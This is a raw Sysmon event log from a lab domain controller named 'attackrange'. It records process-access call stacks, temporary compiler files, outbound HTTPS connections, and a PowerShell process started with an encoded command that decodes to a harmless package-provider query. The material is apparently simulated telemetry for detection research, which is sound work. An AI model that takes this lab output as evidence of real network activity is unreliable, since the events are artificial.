09:10:28.240{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003255Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.240{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003254Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.240{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003253Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.240{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003252Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.240{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003251Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.240{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2904-5F80-A300-000000007F01}2748C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003250Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.240{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003249Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.240{A5F018FF-2903-5F80-A200-000000007F01}50044980C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2904-5F80-A300-000000007F01}2748C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c242b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c18d9|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\9186b3a6901d8be18e984dbec3425168\Microsoft.PowerShell.Commands.Utility.ni.dll+1c40(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\9186b3a6901d8be18e984dbec3425168\Microsoft.PowerShell.Commands.Utility.ni.dll+1c40(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0383cc(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd0141a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd013e76(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fdac54db(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fcfd4a0c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd032edb(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd016540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd016540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd016540(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd016540(wow64) 154100x80000000000000003248Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.242{A5F018FF-2904-5F80-A300-000000007F01}2748C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\a455ssr3\a455ssr3.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2902-5F80-76B0-050000000000}0x5b0760HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-2903-5F80-A200-000000007F01}5004C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABHAGUAdAAtAFAAYQBjAGsAYQBnAGUAUAByAG8AdgBpAGQAZQByAA== 11241100x80000000000000003247Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.225{A5F018FF-2903-5F80-A200-000000007F01}5004C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\a455ssr3\a455ssr3.cmdline2020-10-09 09:10:28.225 11241100x80000000000000003246Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:28.225{A5F018FF-2903-5F80-A200-000000007F01}5004C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\a455ssr3\a455ssr3.dll2020-10-09 09:10:28.225 354300x80000000000000003402Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.088{A5F018FF-2903-5F80-A200-000000007F01}5004C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56383-false152.199.19.161-443https 354300x80000000000000003401Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:28.059{A5F018FF-2903-5F80-A200-000000007F01}5004C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-1796611.attackrange.local56382-false23.14.244.112a23-14-244-112.deploy.static.akamaitechnologies.com443https 10341000x80000000000000003400Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.849{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003399Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.849{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003398Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.849{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003397Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:29.803{A5F018FF-2905-5F80-AB00-000000007F01}3044C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\v55yko2h.dll2020-10-09 09:10:29.693 10341000x80000000000000003396Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.803{A5F018FF-2904-5F80-A600-000000007F01}43923532C:\Windows\system32\conhost.exe{A5F018FF-2905-5F80-AC00-000000007F01}2772C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003395Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.803{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003394Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.803{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003393Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.803{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003392Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.803{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003391Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.803{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003390Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.803{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003389Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.803{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003388Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:29.803{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003387Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 